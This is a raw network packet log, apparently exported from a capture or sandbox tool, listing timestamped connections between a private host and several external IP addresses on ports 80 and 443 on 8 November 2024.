Nov 8, 2024 15:21:09.926942110 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.926973104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.927016020 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.927150011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.927202940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.927330971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.927509069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.927519083 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.927531958 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.927601099 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.954202890 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.954262018 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.954267025 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.954277992 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.954320908 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.954739094 CET	49785	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:09.954756021 CET	443	49785	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:09.967344046 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.967538118 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:09.967623949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:09.967825890 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.008547068 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.008559942 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.008598089 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.008604050 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.008610010 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.008635998 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.008646011 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.008663893 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.008670092 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.008687973 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.008704901 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.079545975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.079634905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.079636097 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.079646111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.079694986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.079792023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.079802990 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.079813004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.079960108 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.079960108 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.080032110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080044031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080053091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080132961 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.080132961 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.080269098 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080300093 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080308914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080353022 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.080353022 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.080502033 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080511093 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080519915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080529928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080636024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080646038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080697060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.080697060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.080697060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.080697060 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.080821991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080832005 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080837965 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080847979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.080948114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.080948114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.081182957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.081192970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.081315041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.124737024 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.124748945 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.124819040 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.124840021 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.124850988 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.124886990 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.161361933 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.161375046 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.161974907 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.233666897 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.233716965 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.233726025 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.233733892 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.233757019 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.233791113 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.234035969 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.234097958 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.234107018 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.234117031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.234179974 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.234253883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.234263897 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.234323025 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.234376907 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.234477043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.234488010 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.234491110 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.234543085 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.234635115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.234643936 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.234678030 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.236078024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.236088991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.236129045 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.236382008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.236392975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.236403942 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.236414909 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.236490011 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.236490011 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.242067099 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.242094994 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.242137909 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.242175102 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.242191076 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.242278099 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.264414072 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:10.264440060 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:10.264471054 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:10.264503002 CET	49784	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:10.264533997 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:10.264558077 CET	49784	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:10.264967918 CET	49784	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:10.264982939 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:10.265003920 CET	49784	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:10.265146017 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:10.265173912 CET	443	49784	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:10.265218019 CET	49784	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:10.276493073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.276505947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.276515961 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.276566982 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.276602983 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.342876911 CET	49788	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:10.342924118 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:10.342989922 CET	49788	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:10.343172073 CET	49788	443	192.168.2.8	40.126.32.68
Nov 8, 2024 15:21:10.343180895 CET	443	49788	40.126.32.68	192.168.2.8
Nov 8, 2024 15:21:10.365200996 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.365231037 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.365319014 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.365355968 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.365380049 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.365396976 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.390144110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.390158892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.390167952 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.390229940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.390250921 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.390727997 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.390739918 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.390750885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.390762091 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.390772104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.390868902 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.390882015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.390882015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.390882015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.390882015 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.391048908 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.391491890 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.391501904 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.391510963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.391611099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.391618013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.391618013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.391623020 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.391696930 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.391967058 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.392117023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.392127991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.392138958 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.392558098 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.392568111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.392688036 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.392688036 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.392688036 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.392688036 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.392688036 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.432600021 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.432713985 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.432714939 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.432729006 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.432781935 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.484500885 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.484525919 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.484574080 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.484596968 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.484620094 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.484638929 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.544116974 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544130087 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544141054 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544178963 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.544223070 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.544261932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544271946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544282913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544317961 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.544343948 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.544420958 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544434071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544441938 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544504881 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.544504881 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.544605970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544617891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544627905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544702053 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.544744968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544913054 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544923067 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544933081 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.544948101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.544948101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.544986963 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.545005083 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.546495914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.546508074 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.546518087 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.546554089 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.546612024 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.547101021 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.547111988 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.547122955 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.547168016 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.547179937 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.585850000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.586009979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.586020947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.586031914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.586044073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.586057901 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.586447954 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.586447954 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.599816084 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.599843979 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.599891901 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.599921942 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.599935055 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.599961996 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.698797941 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.698812008 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.698822021 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.698919058 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.698919058 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.698919058 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.698928118 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.698982000 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.698982000 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.699090958 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.699127913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.699285984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.699301004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.699310064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.699326038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.699347019 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.699347019 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.699417114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.699656963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.699666977 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.699678898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.699882984 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.699882984 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.700732946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.700862885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.700947046 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.700947046 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.701143026 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.701329947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.701340914 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.701350927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.701379061 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.701379061 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.701436996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.701786041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.701797009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.701858044 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.701948881 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.702094078 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.715465069 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.715492010 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.715547085 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.715563059 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.715727091 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.741506100 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.741686106 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.741776943 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:10.741832972 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:10.761559010 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.761581898 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.761629105 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.761641979 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:10.761663914 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:10.761672020 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.051608086 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.051635027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.051646948 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.051794052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.051794052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.053747892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.053930044 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.059254885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059335947 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.059340954 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.059350967 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.059381008 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.059401989 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.059415102 CET	443	49786	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:11.059443951 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.059458017 CET	49786	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:11.059741974 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059753895 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059763908 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059775114 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059793949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059803963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059807062 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.059807062 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.059814930 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059827089 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059835911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059847116 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059856892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.059859991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.059859991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.059870958 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.059904099 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.060686111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.060703993 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.060717106 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.060765028 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.060765028 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:11.062561989 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.062573910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.062583923 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.062607050 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.062618971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:11.062627077 CET	80	49753	185.215.113.206	192.168.2.8
